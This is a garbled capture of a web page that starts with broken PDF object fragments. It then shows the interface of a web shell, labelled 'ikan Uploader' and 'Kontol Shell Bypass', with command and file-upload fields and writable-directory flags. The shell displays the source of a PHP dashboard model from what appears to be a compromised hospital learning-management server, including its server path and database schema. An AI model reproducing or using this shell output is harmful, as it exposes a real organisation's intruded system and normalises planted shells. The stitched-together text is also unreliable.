%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/models/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/models/Dashboard_model.php
<?php 
class Dashboard_model extends CI_Model {
	function set_search_cond($lvOpt=FALSE){
        $qs=trim_array($_REQUEST);

        if(USER_TYPE!='ADMIN' && USER_TYPE!='USER'){
            $users=$this->user->active_users(true);
            $userids=[0];
            foreach($users as $u){
                $userids[]=$u['id'];
            }
        }
        
        if($qs['data_set_id']){
            $lvOpt=$this->dataset->detail($qs['data_set_id']);
        }
        $this->common->set_data_set_cond($lvOpt, true);
        
        /** */
        if(Lead_View_ByYou){
            $uids=$userids;
            if(!$uids){
                $uids=[USER_ID];
            }
            $this->db->where_in("A.created_by", $uids);
        }
        if((Online_Leads || Offline_Leads) && !(Online_Leads && Offline_Leads)){
            if(Online_Leads){
                $this->db->where("U.verified_by!=", 'OFFLINE');
            }
            if(Offline_Leads){
                $this->db->where("U.verified_by", 'OFFLINE');
            }
        }
        /** \ */

		if($qs['from_date']){
			$this->db->where("A.created >=", date('Y-m-d', strtotime($qs['from_date'])));
		}
		if($qs['to_date']){
			$this->db->where("A.created <=", date('Y-m-d 23:59:59', strtotime($qs['to_date'])));
        }
        //$this->db->where("A.step_completed!=", '0');
	}
	
	function scoreBoard(){
		$res=[];
		$this->set_search_cond();
		$f="COUNT(1) total, COUNT(IF(A.step_completed='3', 1, NULL)) paid, COUNT(IF(U.verified_by='OFFLINE', 1, NULL)) offline, COUNT(IF(A.api_lead_id>0, 1, NULL)) api_leads, COUNT(IF(A.last_followup_id>0, 1, NULL)) total_followups, COUNT(IF(A.followup_count_all_paid>0, 1, NULL)) total_followups_paid";
		$rs=$this->db->select($f, false)
		->from("applications A")
		->join("applicants U", "U.id=A.applicant_id")
		->join("pay_trans PTRANS", "PTRANS.id=A.pay_trans_id", "LEFT")
		->join("superbot_response SR", "SR.id=U.superbot_resp_id", "LEFT")
		->get()->row_array();

		$res['total']=(int)$rs['total'];
		$res['paid']=(int)$rs['paid'];
		$res['offline']=(int)$rs['offline'];
		$res['api_leads']=(int)$rs['api_leads'];
		$res['online']=($res['total']-$res['api_leads'])-$res['offline'];
		$res['offline_per']=$res['total']>0?round(($res['offline']*100)/$res['total']):0;
		$res['online_per']=$res['total']>0?round(($res['online']*100)/$res['total']):0;
		$res['api_leads_per']=$res['total']>0?round(($res['api_leads']*100)/$res['total']):0;

		$res['total_followups']=(int)$rs['total_followups'];
		$res['total_followups_paid']=(int)$rs['total_followups_paid'];
		$res['untouched']=$res['total']-$rs['total_followups'];
		$res['untouched_paid']=$res['paid']-$rs['total_followups_paid'];

		$this->set_search_cond();
		$rs=$this->db->select("R.id, R.title, R.disp_odr, count(1) c")
		->from("applications A")
		->join("applicants U", "A.applicant_id=U.id")
		->join("applications_remarks AR", "AR.id=A.last_followup_id")
		->join("master_lead_remarks R", "AR.remarks_id=R.id")
		->group_by("R.id")
		->order_by("R.disp_odr")
		->get()->result_array();
		$res['followups']=$rs?$rs:[];
		foreach($res['followups'] as &$a1){
			$a1['c']=(int)$a1['c'];
			$a1['per']=$res['total_followups']>0?round(($a1['c']*100)/$res['total_followups']):0;
		}


		$labels=['Non Verified (API)', 'Verified (Step-1)', 'Applications', 'Paid Applications', 'Admission Offered', 'Deposit Fee Paid', 'Final Admissions'];
        $res['steps']=[];
		$this->set_search_cond();

		$stepF="CASE 
				WHEN PSS.status='ADM_FINAL' THEN 6 
				WHEN PSS.DESCR1='Deposit Fee Paid' THEN 5 
				WHEN PSS.status='ADM_OFFERED' THEN 4  
				WHEN A.payment_status=1 THEN 3
				ELSE A.step_completed
			END";
		$rs=$this->db->select("$stepF step_completed, count(1) n")
		->from("applications A")
		->join("applicants U", "A.applicant_id=U.id")
		->join("pay_trans PTRANS", "PTRANS.id=A.pay_trans_id", "LEFT")
		->join("superbot_response SR", "SR.id=U.superbot_resp_id", "LEFT")
		->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
		->group_by($stepF)
		->get()
		->result_array();

		$rs=key_val_array($rs, 'step_completed', 'n');
		for($i=0; $i<=6; $i++){
			if($i>0){
				$ct=0;
				for($j=$i; $j<=6; $j++){
					$ct+=(int)$rs[$j];
				}
			}else{
				$ct=$rs[$i];
			}

			$per=$res['total']>0?round(($ct*100)/$res['total']):0;
            $res['steps'][]=['step'=>$labels[$i], 'c'=>$ct, 'per'=>$per];
		}

				
		$this->set_search_cond();
		$rs=$this->db->select("count(1) n")
		->from("applications A")
		->join("applicants U", "A.applicant_id=U.id")
		->join("pay_trans PTRANS", "PTRANS.id=A.pay_trans_id", "LEFT")
		->join("superbot_response SR", "SR.id=U.superbot_resp_id", "LEFT")
		->join("people_soft_tbl PS", "PS.EMPLID=A.application_no")
		->get()->row_array();
		$res['psoft']=['total'=>(int)$rs['n']];

		$this->set_search_cond();
		$f="COUNT(U.id) total, COUNT(IF(IR.status=1, 1, NULL)) open, COUNT(IF(IR.status=2, 1, NULL)) progress, COUNT(IF(IR.status=3, 1, NULL)) closed";
        $rs=$this->db->select($f, false)->from("applications A")
		->join("applicants U", "A.applicant_id=U.id")
		->join("pay_trans PTRANS", "PTRANS.id=A.pay_trans_id", "LEFT")
		->join("superbot_response SR", "SR.id=U.superbot_resp_id", "LEFT")
		->join("issues_reported IR", "IR.applicant_id=U.id")
		->get()->row_array();
        $res['queries']=[
			'total'=>(int)$rs['total'],
			'open'=>(int)$rs['open'],
			'progress'=>(int)$rs['progress'],
			'closed'=>(int)$rs['closed'],
		];
		$res['queries']['open_per']=$res['queries']['total']>0?round(($res['queries']['open']*100)/$res['queries']['total']):0;
		$res['queries']['progress_per']=$res['queries']['total']>0?round(($res['queries']['progress']*100)/$res['queries']['total']):0;
		$res['queries']['closed_per']=$res['queries']['total']>0?round(($res['queries']['closed']*100)/$res['queries']['total']):0;


		$this->set_search_cond();
		$res['email_count']=(int)$this->db->select("count(1) c")
		->from("applications A")
		->join("applicants U", "A.applicant_id=U.id")
		->join("pay_trans PTRANS", "PTRANS.id=A.pay_trans_id", "LEFT")
		->join("superbot_response SR", "SR.id=U.superbot_resp_id", "LEFT")
		->join("sent_emails SE", "SE.to_email=U.email")
		->get()->row("c");

		$this->set_search_cond();
		$res['sms_count']=(int)$this->db->select("count(1) c")
		->from("applications A")
		->join("applicants U", "A.applicant_id=U.id")
		->join("pay_trans PTRANS", "PTRANS.id=A.pay_trans_id", "LEFT")
		->join("superbot_response SR", "SR.id=U.superbot_resp_id", "LEFT")
		->join("followup_sent_sms SS", "SS.application_id=A.id")
		->get()->row("c");

		$this->set_search_cond();
		$rs=$this->db->select("AR.comm_mode, count(1) c")
		->from("applications A")
		->join("applicants U", "A.applicant_id=U.id")
		->join("pay_trans PTRANS", "PTRANS.id=A.pay_trans_id", "LEFT")
		->join("superbot_response SR", "SR.id=U.superbot_resp_id", "LEFT")
		->join("applications_remarks AR", "AR.application_id=A.id")
		->group_by("AR.comm_mode")
		->order_by("comm_mode")
		->get()->result_array();

		$res['cmodes']=['total'=>$res['email_count']+$res['sms_count'], 'modes'=>[]];
		foreach($rs as $a2){
			$res['cmodes']['total']+=(int)$a2['c'];
		}
		$cmodes=lf_communication_modes();
		foreach($cmodes as $m){
			$mode=['mode'=>$m, 'c'=>0, 'per'=>0];
			foreach($rs as $a2){
				if($a2['comm_mode']==$m){
					$mode['c']+=(int)$a2['c'];
				}
			}
			if($m==='SMS'){
				$mode['c']+=$res['sms_count'];
			}
			if($m==='Email'){
				$mode['c']+=$res['email_count'];
			}

			$mode['per']=$res['cmodes']['total']>0?round(($mode['c']*100)/$res['cmodes']['total']):0;

			$res['cmodes']['modes'][]=$mode;
		}

		return $res;
	}

	function applicationFunnel(){
		$grp="CASE
				WHEN grp='Education Portals_API' THEN 'Education Portals' 
				WHEN grp='Re-Marketing' OR grp='Media_Content_Data Marketing' THEN 'Media_Content_Data Marketing' 
			ELSE grp
		END";

		$res=[
			'sources'=>key_val_array($this->db->select("DISTINCT $grp grp")->get_where("master_utm_sources")->result_array(), 'grp', 'grp')
		];
		$this->set_search_cond();
		//$this->db->where("A.step_completed>", 1);
		$f="COUNT(IF(A.step_completed>1, 1, NULL)) total, 
			COUNT(IF(A.payment_status='1', 1, NULL)) paid, 
			COUNT(IF(A.payment_status='1' AND U.verified_by='OFFLINE', 1, NULL)) offline_paid, 
			COUNT(IF(A.payment_status='0' and A.pay_trans_id>0, 1, NULL)) payment_initiated";
		$rs=$this->db->select($f, false)->from("applications A")
		->join("applicants U", "U.id=A.applicant_id")
		->join("pay_trans PTRANS", "PTRANS.id=A.pay_trans_id", "LEFT")
		->join("superbot_response SR", "SR.id=U.superbot_resp_id", "LEFT")
		->get()->row_array();
		$res['total']=(int)$rs['total'];
		$res['paid']=(int)$rs['paid'];
		$res['offline_paid']=(int)$rs['offline_paid'];
		$res['non_paid']=$res['total']-$res['paid'];
		$res['payment_initiated']=(int)$rs['payment_initiated'];
		$res['payment_not_initiated']=$res['non_paid']-$res['payment_initiated'];

		$this->set_search_cond();
		$this->db->where("A.payment_status", 1);

		$rs=$this->db->select("$grp grp, count(1) n")
		->from("applications A")
		->join("applicants U", "A.applicant_id=U.id")
		->join("pay_trans PTRANS", "PTRANS.id=A.pay_trans_id", "LEFT")
		->join("superbot_response SR", "SR.id=U.superbot_resp_id", "LEFT")
		->join("master_utm_sources S", "U.utm_source_id=S.id")
		->group_by($grp)
		->get()
		->result_array();
		$rs=key_val_array($rs, 'grp', 'n');
		$res['counts']=[];
		foreach($res['sources'] as $id=>$lbl){
			$res['counts'][$id]=(int)$rs[$id];
		}

		return $res;
	}

	function leadFunnel(){
		$res=[];
		$this->set_search_cond();
		$f="COUNT(1) total, 
			COUNT(IF(A.step_completed>1, 1, NULL)) step2_plus,
			COUNT(IF(A.payment_status=1, 1, NULL)) paid,
			COUNT(IF(PSS.status='ADM_OFFERED', 1, NULL)) adm_offered,
			COUNT(IF(PSS.DESCR1='Deposit Fee Paid', 1, NULL)) deposit_fee_paid,
			COUNT(IF(PSS.status='ADM_FINAL', 1, NULL)) adm_final";
		$rs=$this->db->select($f, false)
			->from("applications A")
			->join("applicants U", "U.id=A.applicant_id")
			->join("pay_trans PTRANS", "PTRANS.id=A.pay_trans_id", "LEFT")
			->join("superbot_response SR", "SR.id=U.superbot_resp_id", "LEFT")
			->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
			->get()
			->row_array();
		$res['total']=(int)$rs['total'];
		$res['step2_plus']=(int)$rs['step2_plus'];
		$res['paid']=(int)$rs['paid'];
		$res['adm_offered']=(int)$rs['adm_offered'];
		$res['deposit_fee_paid']=(int)$rs['deposit_fee_paid'];
		$res['adm_final']=(int)$rs['adm_final'];

		return $res;
	}

	function leadTimeSlot($paid=false){
		$res=['monthWise'=>[], 'dayWise'=>[], 'hrWise'=>[]];

		$months=['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
		$this->set_search_cond();
		if($paid){
			$this->db->where("A.payment_status", 1);
		}
		$rs=$this->db->select("DATE_FORMAT(A.created, '%b') mon, COUNT(1) n")->from("applications A")->join("applicants U", "U.id=A.applicant_id")->group_by("mon")->get()->result_array();
		$rs=key_val_array($rs, 'mon', 'n');
		foreach($months as $lbl){
			$res['monthWise'][]=['lbl'=>$lbl, 'c'=>(int)$rs[$lbl]];
		}

		$days=['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'];
		$this->set_search_cond();
		if($paid){
			$this->db->where("A.payment_status", 1);
		}
		$rs=$this->db->select("DATE_FORMAT(A.created, '%W') day, COUNT(1) n")->from("applications A")->join("applicants U", "U.id=A.applicant_id")->group_by("day")->get()->result_array();
		$rs=key_val_array($rs, 'day', 'n');
		foreach($days as $lbl){
			$res['dayWise'][$lbl]=(int)$rs[$lbl];
		}

		$hrs=['12 AM', '01 AM', '02 AM', '03 AM', '04 AM', '05 AM', '06 AM', '07 AM', '08 AM', '09 AM', '10 AM', '11 AM',
			  '12 PM', '01 PM', '02 PM', '03 PM', '04 PM', '05 PM', '06 PM', '07 PM', '08 PM', '09 PM', '10 PM', '11 PM'];
		$this->set_search_cond();
		if($paid){
			$this->db->where("A.payment_status", 1);
		}
		$rs=$this->db->select("DATE_FORMAT(A.created, '%h %p') hr, COUNT(1) n")->from("applications A")->join("applicants U", "U.id=A.applicant_id")->group_by("hr")->get()->result_array();
		$rs=key_val_array($rs, 'hr', 'n');
		foreach($hrs as $lbl){
			$res['hrWise'][]=['lbl'=>$lbl, 'c'=>(int)$rs[$lbl]];
		}

		$this->set_search_cond();
		if($paid){
			$this->db->where("A.payment_status", 1);
		}
		$rs=$this->db->select("DATE_FORMAT(A.created, '%W') day, DATE_FORMAT(A.created, '%h %p') hr, COUNT(1) c")
		->from("applications A")
		->join("applicants U", "U.id=A.applicant_id")
		->join("pay_trans PTRANS", "PTRANS.id=A.pay_trans_id", "LEFT")
		->join("superbot_response SR", "SR.id=U.superbot_resp_id", "LEFT")
		->group_by(["day", "hr"])->get()->result_array();
		$res['dayHrWise']=$rs;

		$res['hrs']=$hrs;
		$res['days']=$days;

		return $res;
	}

	function genderWiseLeads(){
		$this->set_search_cond();
		$this->db->where("A.step_completed>", 1);

		$rs=$this->db->select("IF(U.gender='', 'N/A', U.gender) gender, COUNT(1) no_of_leads")
		->from("applications A")
		->join("applicants U", "U.id=A.applicant_id")
		->join("pay_trans PTRANS", "PTRANS.id=A.pay_trans_id", "LEFT")
		->join("superbot_response SR", "SR.id=U.superbot_resp_id", "LEFT")
		->group_by("U.gender")
		->get()
		->result_array();
		foreach($rs as &$r){
			$r['no_of_leads']=(int)$r['no_of_leads'];
		}

		return $rs;
	}

	function ageWiseLeads(){
		$this->set_search_cond();
		$this->db->where("A.step_completed>", 1);

		$agec="DATE_FORMAT(FROM_DAYS(DATEDIFF(now(), U.dob)), '%Y')+0";
		$rs=$this->db->select("$agec age, COUNT(1) no_of_leads")
		->from("applications A")
		->join("applicants U", "U.id=A.applicant_id")
		->join("pay_trans PTRANS", "PTRANS.id=A.pay_trans_id", "LEFT")
		->join("superbot_response SR", "SR.id=U.superbot_resp_id", "LEFT")
		->group_by($agec)
		->order_by("age")
		->get()
		->result_array();

		$res=[15=>0, 20=>0, 25=>0, 30=>0, 35=>0, 40=>0, 45=>0, 50=>0, 55=>0, 60=>0];
		foreach($rs as $r){
			$age=(int)$r['age'];
			$no_of_leads=(int)$r['no_of_leads'];

			if($age>=15 && $age<20){
				$res[15]+=$no_of_leads;
			}
			if($age>=20 && $age<25){
				$res[20]+=$no_of_leads;
			}
			if($age>=25 && $age<30){
				$res[25]+=$no_of_leads;
			}
			if($age>=30 && $age<35){
				$res[30]+=$no_of_leads;
			}
			if($age>=35 && $age<40){
				$res[35]+=$no_of_leads;
			}
			if($age>=40 && $age<45){
				$res[40]+=$no_of_leads;
			}
			if($age>=45 && $age<50){
				$res[45]+=$no_of_leads;
			}
			if($age>=50 && $age<55){
				$res[50]+=$no_of_leads;
			}
			if($age>=55 && $age<60){
				$res[55]+=$no_of_leads;
			}
			if($age>=60){
				$res[60]+=$no_of_leads;
			}
		}

		return $res;
	}
}

//End of file

Kontol Shell Bypass